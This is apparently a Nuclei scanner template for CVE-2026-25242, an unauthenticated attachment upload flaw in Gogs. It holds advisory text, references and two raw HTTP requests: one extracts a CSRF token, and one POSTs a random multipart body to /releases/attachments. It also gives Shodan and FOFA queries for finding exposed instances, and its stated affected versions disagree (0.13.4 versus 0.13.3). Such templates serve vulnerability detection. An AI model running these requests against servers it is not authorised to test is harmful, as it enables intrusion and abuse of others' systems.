Gogs is an open source self-hosted Git service. Versions 0.13.4 and below expose unauthenticated file upload endpoints by default. When the global RequireSigninView setting is disabled (default), any remote user can upload arbitrary files to the server via /releases/attachments and /issues/attachments. This enables the instance to be abused as a public file host, potentially leading to disk exhaustion, content hosting, or delivery of malware. CSRF tokens do not mitigate this attack due to same-origin cookie issuance.
Remote unauthenticated users can reach the attachment upload handler and store arbitrary files.
id: CVE-2026-25242
info:
name: Gogs <= 0.13.3 - Unauthenticated Attachment Upload
author: DhiyaneshDk
severity: high
description: |
Gogs is an open source self-hosted Git service. Versions 0.13.4 and below expose unauthenticated file upload endpoints by default. When the global RequireSigninView setting is disabled (default), any remote user can upload arbitrary files to the server via /releases/attachments and /issues/attachments. This enables the instance to be abused as a public file host, potentially leading to disk exhaustion, content hosting, or delivery of malware. CSRF tokens do not mitigate this attack due to same-origin cookie issuance.
Remote unauthenticated users can reach the attachment upload handler and store arbitrary files.
remediation: |
This issue has been fixed in version 0.14.1.
impact: |
Remote unauthenticated users can reach the attachment upload handler and store arbitrary files.
reference:
- https://github.com/gogs/gogs/security/advisories/GHSA-fc3h-92p8-h36f
- https://github.com/gogs/gogs/pull/8128
- https://nvd.nist.gov/vuln/detail/CVE-2026-25242
- https://github.com/gogs/gogs/releases/tag/v0.14.1
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
cvss-score: 6.5
cve-id: CVE-2026-25242
epss-score: 0.03319
epss-percentile: 0.89358
cwe-id: CWE-862
metadata:
verified: true
max-request: 2
vendor: gogs
product: gogs
shodan-query: http.title:"Gogs"
fofa-query: app="Gogs"
tags: cve,cve2026,gogs,unauth,file-upload,vuln,intrusive
variables:
boundary: "{{rand_text_alphanumeric(16)}}"
field: "{{rand_text_alpha(8)}}"
value: "{{rand_text_alphanumeric(12)}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(header, "_csrf=")'
condition: and
internal: true
extractors:
- type: regex
name: csrf
part: header
group: 1
regex:
- '_csrf=([^;]+);'
internal: true
- raw:
- |
POST /releases/attachments HTTP/1.1
Host: {{Hostname}}
X-Csrf-Token: {{csrf}}
Cookie: _csrf={{csrf}}
Referer: {{RootURL}}/
Content-Type: multipart/form-data; boundary={{boundary}}
--{{boundary}}
Content-Disposition: form-data; name="{{field}}"
{{value}}
--{{boundary}}--
matchers:
- type: dsl
dsl:
- 'status_code == 500'
- 'contains_all(body, "Internal Server Error", "Gogs")'
condition: and
# digest: 490a004630440220248dd46e2687239fe0d8083de25a5aadd90c318aae3bedc2be53b2592abc75f3022053e47b4d5e682adf5575986158a210f92f3b0f9aef92d6782349ccd0409467bf:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.